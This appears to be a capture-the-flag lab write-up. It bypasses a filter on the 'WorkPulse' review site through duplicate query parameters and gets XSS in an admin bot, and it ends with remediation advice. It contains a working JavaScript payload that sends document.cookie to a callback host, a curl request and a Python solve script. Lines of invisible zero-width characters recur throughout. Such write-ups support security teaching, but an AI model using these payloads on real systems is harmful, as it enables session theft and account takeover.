← Back to Writeups
CUSTOMMediumWeb

Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning

XESXOR9/2/20265 min read
#web#custom#medium#http_parameter_pollution#waf_bypass#javascript_string_breakout#admin_bot_exploitation

Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: http_parameter_pollution, waf_bypass, javascript_string_breakout, admin_bot_exploitation

Summary

Walkthrough of the CUSTOM Web Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning. Task: WorkPulse exposes search, shared nginx caching, and an authenticated admin report bot. Solution: duplicate query parameters bypassed edge filtering and broke out of an inline JavaScript string,

Description

WorkPulse employer-review platform with company profiles, reviews, annual awards, search, nginx caching, and an admin report bot.

The goal was to make the privileged report bot execute attacker-controlled JavaScript and recover the challenge flag from its cookies. Although the title suggested stored XSS through cache poisoning, the verified solution used a shorter reflected-XSS route based on HTTP parameter pollution (HPP). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

The application was Express behind nginx/1.25.5. The main useful surfaces were:

  • GET /companies?q=..., which reflected q into HTML and an inline script;
  • annual award pages, which returned X-Cache-Status: MISS and then HIT;
  • authenticated POST /report, whose bot visited the supplied url;
  • review, profile, and report fields, which were stored but escaped when rendered.

The award cache was shared and keyed only by path. Query strings and cookies did not vary the cached object, and the observed lifetime was about 600 seconds. An authenticated award response could consequently be served to an anonymous requester. However, tests with query parameters, forwarding headers, cookies, and fat GET requests found no attacker-controlled value reaching an executable award-page sink. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The decisive sink appeared on /companies:

javascript
var searchQuery = '<q value>';

HTML escaping elsewhere on the page did not protect this JavaScript string context. A request containing a single quoted q value was rejected with HTTP 403 by the edge filter.

Root Cause

The edge and Express interpreted duplicate query parameters differently:

  1. The filter accepted a benign first value in q=SAFE.
  2. Express parsed q=SAFE&q=<payload> as an array.
  3. When interpolated into the template, the array stringified to SAFE,<payload>.
  4. The second value closed the single-quoted JavaScript string and injected statements. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This parser differential allowed a quote that was blocked in a single parameter to reach the sink in the second duplicate parameter. Conceptually, the rendered script became:

javascript
var searchQuery = 'SAFE,';location=`http://interact/<INSTANCE>/callback/hppadmin77/`+btoa(document.cookie)//';

No cache interaction was needed. The issue was direct reflected XSS combined with HPP and a privileged URL-visiting bot, not stored XSS in the application database.

Solution

1. Confirm the duplicate-parameter breakout

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The compact JavaScript payload was:

javascript
';location=`http://interact/<INSTANCE>/callback/hppadmin77/`+btoa(document.cookie)//

After URL encoding, request it as the second q value:

bash
BASE='https://<INSTANCE>.labs.hackadvisor.io'
PAYLOAD='%27%3Blocation%3D%60http%3A%2F%2Finteract%2F<INSTANCE>%2Fcallback%2Fhppadmin77%2F%60%2Bbtoa%28document.cookie%29%2F%2F'
curl -sS "$BASE/companies?q=SAFE&q=$PAYLOAD"

The response contained the expected SAFE, array prefix followed by a JavaScript string breakout and navigation to the interaction server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Authenticate and report the malicious relative URL

The report endpoint requires a logged-in user. The following script logs in, constructs the encoded payload, and submits the relative URL for admin review:

python
#!/usr/bin/env python3
import os
from urllib.parse import quote

import requests

INSTANCE = os.environ["INSTANCE"]
BASE = f"https://{INSTANCE}.labs.hackadvisor.io"
CALLBACK = f"http://interact/{INSTANCE}/callback/hppadmin77/"

session = requests.Session()
login = session.post(
    f"{BASE}/login",
    data={
        "email": os.environ.get("WORKPULSE_USER", "user@test.com"),
        "password": os.environ["WORKPULSE_PASSWORD"],
    },
    allow_redirects=True,
)
login.raise_for_status()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript = f"';location=`{CALLBACK}`+btoa(document.cookie)//"
relative_url = "/companies?q=SAFE&q=" + quote(javascript, safe="")

report = session.post(
    f"{BASE}/report",
    data={"url": relative_url, "reason": "other"},
    allow_redirects=True,
)
report.raise_for_status()
assert "submitted" in report.text.lower()
print("Report submitted; wait for the interaction callback.")

Run it with the instance identifier and supplied lab credentials in environment variables:

bash
INSTANCE='<INSTANCE>' WORKPULSE_PASSWORD='<SUPPLIED_PASSWORD>' python3 solve.py

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Decode the callback

HeadlessChrome 124 visited the reported URL and requested:

text
/callback/hppadmin77/<BASE64_REDACTED>

Decode only the final path component:

python
import base64
import sys

print(base64.b64decode(sys.argv[1]).decode())

The decoded value had the form:

text
flag=FLAG{REDACTED}; adminSession=<REDACTED>

This proved JavaScript execution in the privileged browser and provided the verified flag. The unrelated flag-like string embedded in public HTML was a deliberate decoy, not the result of the exploit. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed and Unnecessary Paths

  • Award pages demonstrably used a path-only shared cache, but tested query, header, cookie, and fat-GET inputs produced no executable reflection there.
  • Stored review, profile, and report values were contextually HTML-escaped.
  • A report-reason payload was escaped in report history and caused no callback.
  • A Unicode line-separator probe reached the inline script but did not break the string in modern Chromium.
  • Cache-path normalization attempts did not map the dynamic /companies renderer into the cached /awards/ location. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These results explain why the advertised cache-poisoning chain was plausible but unnecessary for the successful solve.

Impact

Any authenticated user able to submit a report could cause the administrator bot to execute arbitrary same-origin JavaScript. The script could read non-HttpOnly cookies, perform authenticated actions, or exfiltrate sensitive data available to the privileged browser.

Remediation

  • Never interpolate untrusted values directly into JavaScript source. Serialize data with a safe JSON encoder and escape <, U+2028, and U+2029, or place it in a non-executable data element.
  • Define one canonical query-parameter policy across nginx, filters, and Express. Reject duplicate scalar parameters before validation and rendering.
  • Apply allowlist validation after application parsing, not only at the edge.
  • Mark sensitive cookies HttpOnly, Secure, and with an appropriate SameSite policy.
  • Restrict the report bot to validated same-origin paths, isolate it from privileged secrets, and use a low-privilege review account.
  • Include every response-varying input in cache keys and never share authenticated responses with anonymous users.
  • Deploy a restrictive Content Security Policy that blocks unsafe inline scripts. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering http_parameter_pollution, waf_bypass, javascript_string_breakout, admin_bot_exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-22 • CUSTOM • Lab 77 — WorkPulse — Stored XSS via Web Cache Poisoning • Difficulty: Medium